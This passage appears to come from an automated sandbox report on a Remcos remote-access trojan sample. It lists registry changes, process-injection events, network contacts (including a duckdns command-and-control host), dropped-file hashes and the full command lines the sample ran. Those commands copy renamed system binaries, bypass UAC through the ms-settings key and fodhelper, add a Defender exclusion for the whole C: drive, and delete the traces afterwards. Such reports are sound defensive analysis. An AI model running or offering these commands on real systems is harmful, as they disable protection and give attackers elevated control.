d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Public\xkn.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Public\xkn.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Public\xkn.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 820 wrote to memory of 536 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 820 wrote to memory of 536 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 820 wrote to memory of 536 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 820 wrote to memory of 536 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 820 wrote to memory of 536 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 536 wrote to memory of 3608 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 536 wrote to memory of 3608 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 3608 wrote to memory of 5012 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 3608 wrote to memory of 5012 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 3608 wrote to memory of 1336 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 1336 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 3900 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 3900 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 2088 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 2088 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2088 wrote to memory of 4004 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2088 wrote to memory of 4004 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3608 wrote to memory of 1848 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 1848 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1848 wrote to memory of 2100 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1848 wrote to memory of 2100 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3608 wrote to memory of 2624 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 2624 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2624 wrote to memory of 1792 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2624 wrote to memory of 1792 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3608 wrote to memory of 636 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 636 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 636 wrote to memory of 4408 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 636 wrote to memory of 4408 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 4408 wrote to memory of 1752 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 4408 wrote to memory of 1752 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 1752 wrote to memory of 4252 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 1752 wrote to memory of 4252 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 3608 wrote to memory of 4176 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 3608 wrote to memory of 4176 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 3608 wrote to memory of 3736 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 3736 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3736 wrote to memory of 1448 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 3736 wrote to memory of 1448 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 820 wrote to memory of 2572 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Windows\SysWOW64\extrac32.exe
PID 820 wrote to memory of 2572 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Windows\SysWOW64\extrac32.exe
PID 820 wrote to memory of 2572 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Windows\SysWOW64\extrac32.exe
PID 820 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Windows\SysWOW64\SndVol.exe
PID 820 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Windows\SysWOW64\SndVol.exe
PID 820 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Windows\SysWOW64\SndVol.exe
PID 820 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\Windows\SysWOW64\SndVol.exe
PID 3608 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2756 wrote to memory of 1692 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2756 wrote to memory of 1692 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 3608 wrote to memory of 4560 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 4560 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 5044 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 5044 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 5096 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 5096 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 3128 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 3128 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 2176 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 2176 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 3912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 3912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 2456 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3608 wrote to memory of 2456 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe

Processes

C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe

"C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe"

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CAC2.tmp\CAC3.tmp\CAC4.bat C:\Users\Public\Libraries\ioeztdcY.pif"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Windows \System32\per.exe

"C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\SystemSettingsAdminFlows.exe

"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\600b2be3d1429ba2716b05ed76d109815eb60426a2d3687c6735aece9dc9c5a3.exe C:\\Users\\Public\\Libraries\\Ycdtzeoi.PIF

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\System32\SndVol.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\xywzpufdhst"

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\zsbkhnqwvalgwb"

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\kupcifbyjidlyhsnxk"

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\kupcifbyjidlyhsnxk"

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 2005.filemail.com udp
DE 50.7.86.226:443 2005.filemail.com tcp
DE 50.7.86.226:443 2005.filemail.com tcp
US 8.8.8.8:53 226.86.7.50.in-addr.arpa udp
US 8.8.8.8:53 cxcs.microsoft.net udp
GB 23.62.195.195:443 cxcs.microsoft.net tcp
US 8.8.8.8:53 195.195.62.23.in-addr.arpa udp
N/A 127.0.0.1:45645 tcp
N/A 127.0.0.1:56765 tcp
US 8.8.8.8:53 latestgrace2024.duckdns.org udp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 130.26.198.103.in-addr.arpa udp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp

Files

memory/820-0-0x00000000021B0000-0x00000000021B1000-memory.dmp

memory/820-1-0x0000000000400000-0x000000000050C000-memory.dmp

C:\Users\Public\Libraries\ioeztdcY.pif

MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

memory/536-10-0x0000000000400000-0x000000000041A000-memory.dmp

memory/536-5-0x0000000000400000-0x0000000001400000-memory.dmp

memory/536-9-0x0000000000400000-0x0000000001400000-memory.dmp

memory/536-11-0x0000000000400000-0x0000000001400000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\CAC2.tmp\CAC3.tmp\CAC4.bat

MD5 e62f427202d3e5a3ba60ebe78567918c
SHA1 6ef0cd5ba6c871815fceb27ff095a7931452b334
SHA256 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff
SHA512 e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\xkn.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ic0rcjsd.e1m.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4408-45-0x0000021161DF0000-0x0000021161E12000-memory.dmp

C:\Users\Public\ger.exe

MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

C:\Windows \System32\per.exe

MD5 85018be1fd913656bc9ff541f017eacd
SHA1 26d7407931b713e0f0fa8b872feecdb3cf49065a
SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
SHA512 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

memory/3984-71-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-69-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-70-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-68-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-66-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-65-0x00000000022D0000-0x00000000032D0000-memory.dmp

memory/536-83-0x0000000000400000-0x000000000041A000-memory.dmp

memory/536-81-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3984-85-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-87-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-88-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-90-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-91-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-92-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-93-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-95-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3000-97-0x0000000000400000-0x0000000000462000-memory.dmp

memory/3000-101-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2760-100-0x0000000000400000-0x0000000000478000-memory.dmp

memory/4308-104-0x0000000000400000-0x0000000000424000-memory.dmp

memory/4308-103-0x0000000000400000-0x0000000000424000-memory.dmp

memory/4308-102-0x0000000000400000-0x0000000000424000-memory.dmp

memory/3000-99-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2760-98-0x0000000000400000-0x0000000000478000-memory.dmp

memory/2760-96-0x0000000000400000-0x0000000000478000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\xywzpufdhst

MD5 bfad3231b66bc41dc26604f95ff7798f
SHA1 3bb8a68b16f2dc00e7ae9757fd4be2d10dbe91f1
SHA256 5b925ab999c036167ea8ddb4ea5256d33f56405a62faf0c40837d3e69588c5e2
SHA512 1339ac589e8a88ce019a638a68f8db4d93193b24c8252fe4825de02b816c4572fcc9722d48752904ccba5968072b8dd5070117ad88e8aa4a5dcd53d3c3b5cc0a

memory/3984-111-0x000000001BF20000-0x000000001BF39000-memory.dmp

memory/3984-115-0x000000001BF20000-0x000000001BF39000-memory.dmp

memory/3984-114-0x000000001BF20000-0x000000001BF39000-memory.dmp

memory/3984-116-0x000000001BBF0000-0x000000001BC72000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 3e1ef0c5cf5ebfef8ec6885123a2062b
SHA1 560e4439e0baeb8749c19fc8de19d1d62fd90388
SHA256 a66c85f0c5a9ea3ae2f0eb23b72f9684092aa98f410f924a5ef5bd4ca9c91828
SHA512 761d6cda00afa4f96eb178307392b6de69357182bcf1ea1944e97d01a26250d8706173271a4786a9053f085ae4476a33338959c3bcf605817db6acbc0da7af84

memory/3984-121-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-122-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-129-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-130-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-145-0x000000001BBF0000-0x000000001BC72000-memory.dmp

memory/3984-146-0x000000001BBF0000-0x000000001BC72000-memory.dmp